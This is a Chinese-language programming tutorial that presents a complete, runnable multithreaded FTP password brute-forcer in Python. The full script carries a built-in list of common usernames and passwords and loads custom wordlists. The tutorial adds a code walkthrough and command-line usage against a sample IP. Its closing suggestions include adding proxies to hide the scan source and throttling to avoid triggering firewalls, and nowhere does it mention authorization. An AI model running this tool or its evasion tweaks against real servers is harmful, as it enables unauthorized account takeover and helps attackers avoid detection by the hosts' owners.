目录
Python实例题
题目
Python实现FTP弱口令扫描器
代码实现
import ftplib
import argparse
import threading
import queue
import time
from colorama import init, Fore, Style
# 初始化colorama
init(autoreset=True)
class FTPBruteForcer:
def __init__(self, target, port=21, threads=10, timeout=5):
"""初始化FTP弱口令扫描器
Args:
target: 目标主机IP地址
port: FTP端口号,默认为21
threads: 线程数,默认为10
timeout: 连接超时时间,默认为5秒
"""
self.target = target
self.port = port
self.threads = threads
self.timeout = timeout
self.queue = queue.Queue()
self.found = threading.Event()
self.lock = threading.Lock()
self.results = []
def load_default_credentials(self):
"""加载默认的用户名和密码字典"""
# 常见用户名
usernames = ["anonymous", "admin", "ftp", "test", "root", "user", "guest"]
# 常见密码
passwords = [
"anonymous", "admin", "ftp", "test", "root", "password",
"123456", "12345", "1234", "111111", "123123", "qwerty",
"abc123", "123qwe", "admin123", "pass", "123"
]
# 添加到队列
for username in usernames:
for password in passwords:
self.queue.put((username, password))
def load_credentials_from_files(self, user_file, pass_file):
"""从文件加载用户名和密码字典
Args:
user_file: 用户名文件路径
pass_file: 密码文件路径
"""
try:
with open(user_file, 'r') as f:
usernames = [line.strip() for line in f.readlines()]
with open(pass_file, 'r') as f:
passwords = [line.strip() for line in f.readlines()]
# 添加到队列
for username in usernames:
for password in passwords:
self.queue.put((username, password))
return True
except Exception as e:
print(f"加载字典文件失败: {e}")
return False
def ftp_login(self, username, password):
"""尝试FTP登录
Args:
username: 用户名
password: 密码
Returns:
登录成功返回True,失败返回False
"""
try:
ftp = ftplib.FTP()
ftp.connect(self.target, self.port, timeout=self.timeout)
ftp.login(username, password)
ftp.quit()
return True
except ftplib.error_perm:
# 认证失败
return False
except Exception as e:
# 其他错误
return False
def worker(self):
"""工作线程函数"""
while not self.found.is_set() and not self.queue.empty():
username, password = self.queue.get()
# 打印正在尝试的凭据
with self.lock:
print(f"{Fore.CYAN}[*] 尝试: {username}:{password}")
# 尝试登录
if self.ftp_login(username, password):
self.found.set()
with self.lock:
self.results.append((username, password))
print(f"{Fore.GREEN}[+] 找到有效凭据: {username}:{password}")
print(f"{Fore.YELLOW}[!] 扫描已停止,因为找到了有效凭据")
break
# 释放队列任务
self.queue.task_done()
def run(self):
"""运行扫描器"""
print(f"{Fore.BLUE}[*] 开始FTP弱口令扫描: {self.target}:{self.port}")
print(f"{Fore.BLUE}[*] 使用 {self.threads} 个线程")
start_time = time.time()
# 创建工作线程
threads = []
for _ in range(self.threads):
t = threading.Thread(target=self.worker)
t.daemon = True
t.start()
threads.append(t)
# 等待所有线程完成
for t in threads:
t.join()
# 检查是否找到凭据
if not self.results:
print(f"{Fore.RED}[-] 未找到有效凭据")
elapsed_time = time.time() - start_time
print(f"{Fore.BLUE}[*] 扫描完成,耗时: {elapsed_time:.2f} 秒")
return self.results
def main():
parser = argparse.ArgumentParser(description='FTP弱口令扫描器')
parser.add_argument('-t', '--target', help='目标主机IP地址', required=True)
parser.add_argument('-p', '--port', type=int, help='FTP端口号', default=21)
parser.add_argument('-T', '--threads', type=int, help='线程数', default=10)
parser.add_argument('-U', '--userfile', help='用户名文件')
parser.add_argument('-P', '--passfile', help='密码文件')
parser.add_argument('-o', '--output', help='输出结果文件')
args = parser.parse_args()
# 创建扫描器实例
scanner = FTPBruteForcer(args.target, args.port, args.threads)
# 加载凭据字典
if args.userfile and args.passfile:
if not scanner.load_credentials_from_files(args.userfile, args.passfile):
print("使用默认凭据字典...")
scanner.load_default_credentials()
else:
scanner.load_default_credentials()
# 运行扫描
results = scanner.run()
# 保存结果到文件
if results and args.output:
try:
with open(args.output, 'w') as f:
f.write(f"FTP弱口令扫描结果 - {args.target}:{args.port}\n")
f.write("=" * 50 + "\n")
for username, password in results:
f.write(f"有效凭据: {username}:{password}\n")
print(f"{Fore.GREEN}[+] 结果已保存到 {args.output}")
except Exception as e:
print(f"{Fore.RED}[-] 保存结果失败: {e}")
if __name__ == "__main__":
main()
实现原理
这个 FTP 弱口令扫描器基于以下核心技术实现:
-
多线程扫描:
- 使用队列管理待测试的用户名和密码组合
- 多线程并行尝试登录,提高扫描效率
- 使用线程锁确保输出信息不混乱
-
FTP 认证:
- 使用 Python 的 ftplib 库进行 FTP 连接和认证
- 处理不同类型的认证错误
- 设置连接超时避免程序挂起
-
字典管理:
- 内置常见用户名和密码字典
- 支持从文件加载自定义字典
- 找到有效凭据后立即停止扫描
关键代码解析
1. FTP 登录尝试
def ftp_login(self, username, password):
try:
ftp = ftplib.FTP()
ftp.connect(self.target, self.port, timeout=self.timeout)
ftp.login(username, password)
ftp.quit()
return True
except ftplib.error_perm:
return False
except Exception as e:
return False
2. 工作线程函数
def worker(self):
while not self.found.is_set() and not self.queue.empty():
username, password = self.queue.get()
with self.lock:
print(f"{Fore.CYAN}[*] 尝试: {username}:{password}")
if self.ftp_login(username, password):
self.found.set()
with self.lock:
self.results.append((username, password))
print(f"{Fore.GREEN}[+] 找到有效凭据: {username}:{password}")
print(f"{Fore.YELLOW}[!] 扫描已停止,因为找到了有效凭据")
break
self.queue.task_done()
3. 主函数流程
def main():
parser = argparse.ArgumentParser(description='FTP弱口令扫描器')
parser.add_argument('-t', '--target', help='目标主机IP地址', required=True)
# 其他参数...
args = parser.parse_args()
scanner = FTPBruteForcer(args.target, args.port, args.threads)
if args.userfile and args.passfile:
if not scanner.load_credentials_from_files(args.userfile, args.passfile):
scanner.load_default_credentials()
else:
scanner.load_default_credentials()
results = scanner.run()
if results and args.output:
try:
with open(args.output, 'w') as f:
# 写入结果...
print(f"{Fore.GREEN}[+] 结果已保存到 {args.output}")
except Exception as e:
print(f"{Fore.RED}[-] 保存结果失败: {e}")
使用说明
-
基本用法:
python ftp_brute_force.py -t 192.168.1.100
-
指定端口和线程数:
python ftp_brute_force.py -t 192.168.1.100 -p 2121 -T 50
-
使用自定义字典:
python ftp_brute_force.py -t 192.168.1.100 -U users.txt -P passwords.txt
-
保存结果到文件:
python ftp_brute_force.py -t 192.168.1.100 -o results.txt
扩展建议
-
增强功能:
- 添加代理支持,隐藏扫描源
- 实现扫描限速,避免触发防火墙
- 添加匿名 FTP 检测
- 支持扫描 IP 段
-
性能优化:
- 使用异步 I/O 提高并发性能
- 添加结果缓存,避免重复测试
- 优化线程池管理
-
用户界面:
- 添加进度条显示扫描进度
- 实现彩色输出和更友好的界面
- 支持交互式停止扫描
-
安全增强:
- 添加 IP 封禁检测和处理
- 实现扫描会话保持
- 支持证书验证的 FTP 连接